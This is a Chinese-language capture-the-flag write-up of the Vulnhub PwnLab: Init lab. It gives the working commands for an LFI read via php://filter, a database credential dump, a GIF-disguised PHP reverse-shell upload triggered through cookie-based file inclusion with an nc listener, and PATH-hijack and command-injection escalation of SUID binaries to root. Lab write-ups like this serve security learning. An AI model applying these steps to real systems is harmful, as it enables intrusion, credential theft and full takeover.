[Vulnhub] PWNLAB-init Linux利用环境变量提权

0x00 环境搭建

靶机地址:https://www.vulnhub.com/entry/pwnlab-init,158/
下载之后用vmware打开即可,这里使用的是桥接模式。
开机后搭建完成:
在这里插入图片描述


0x01 主机端口探测

用arp-scan -l 探测内网存活主机,再用nmap -sV -p- ip来探测端口:
在这里插入图片描述
发现开放了80端口(HTTP服务)和3306端口(MySQL服务)。


0x02 web渗透

访问80端口,没有发现什么可以利用的点:
在这里插入图片描述
用nikto扫描,发现了config.php,里面可能包含数据库id和密码等信息:
在这里插入图片描述
用dirsearch扫描目录:
在这里插入图片描述
访问config.php,页面返回为空,可能是靶机做了一定的限制:
在这里插入图片描述
正常途径都无法获取config.php的内容,访问登录页面,从url猜测可能存在LFI漏洞:
在这里插入图片描述
直接读取还是不行,然后利用php://filter/协议获取内容,将config.php的文件内容以base64编码后返回:http://192.168.1.116/?page=php://filter/convert.base64-encode/resource=config,成功将内容带出
在这里插入图片描述
解码后的内容如下:

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得到了数据库账号密码为:root / H4u%QJ_H99

远程连接数据库:mysql -h 192.168.1.116 -u root -p
在这里插入图片描述
切换到User表,拿到账号密码:
在这里插入图片描述
看出密码形式为base64编码,解码后得到账户密码如下:
kent / JWzXuBJJNy
mike / SIfdsTEn6I
kane / iSv5Ym2GRo


0x03 getshell

随便拿一个账号登录,登录后可以使用上传功能:
在这里插入图片描述
这里使用kali自带的webshell反弹shell代码,修改ip和端口为攻击机的ip和端口,修改代码开头添加GIF89a;字样,并将扩展名改为.gif格式以达到图片头欺骗的目的,上传成功后查看图片的信息如下:
在这里插入图片描述
这时就要想办法进行文件包含使其反弹shell,刚才扫出的路径还有一个index.php,尝试包含此文件读取代码看看:
http://192.168.1.116/?page=php://filter/convert.base64-encode/resource=index
解码后的文件如下:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

从代码中看出可以通过包含cookie的内容来包含我们上传的文件,先在攻击机kali上监听12581端口:nc -lvp 12581
在这里插入图片描述
用burp抓包,在cookie中添加以下内容:

lang=../upload/8986bd4a045ea87e2d439d2e5ed97feb.gif

放包,页面无返回,这时kali已经获得反弹shell:
在这里插入图片描述
在这里插入图片描述


0x04 Linux环境变量提权

预备知识

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

提权过程

查看/etc/passwd文件,发现还有4个用户:
在这里插入图片描述
而刚才从数据库中得到3个用户的密码,使用python -c 'import pty;pty.spawn("/bin/bash")'命令打开终端,切换到kent账户,没什么可利用的信息:
在这里插入图片描述
切换到mike显示密码错误:
在这里插入图片描述
切换到kane用户,发现msgmike文件:
在这里插入图片描述
使用find / -perm -u=s -type f 2>/dev/null命令发现该文件是一个suid文件:
在这里插入图片描述
file命令查看该文件,发现是一个ELF 32位的LSB执行文件:
在这里插入图片描述
执行该文件,发现报错了,通过报错信息可以看到msgmike调用cat命令读取/home/mike/msg.txt文件:
在这里插入图片描述
针对这种情况,可以通过设置bash的$PATH环境变量来利用,通常的$PATH如下:
在这里插入图片描述
当调用cat命令时,会从以上目录来寻找,但是当添加 . 到$PATH环境变量,则会优先从当前目录来寻找cat指令:export PATH=.:$PATH
在这里插入图片描述
新建cat,添加执行权限:echo "/bin/bash" > cat
在这里插入图片描述
再次执行./msgmike,就会触发当前目录下的cat(/bin/bash),从而提权,成功切换到mike用户:
在这里插入图片描述
使用find / -perm -u=s -type f 2>/dev/null发现/home/mike目录下有一个设置了SUID的文件:
在这里插入图片描述
file命令查看该文件,发现也是一个ELF 32位的LSB执行文件:
在这里插入图片描述
靶机上的/bin/sh是连接文件,是指向/bin/dash的,拼接时用这两个都行,但/bin/bash不行,不知道是什么原因

执行该文件,拼接 /bin/sh,进入/root目录找到flag:
在这里插入图片描述
整体流程如下:
靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag


参考链接:
https://www.cnblogs.com/autopwn/p/13847442.html(Vulnhub-靶机-PWNLAB: INIT)
https://www.freebuf.com/articles/system/173903.html(在Linux中使用环境变量进行提权)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值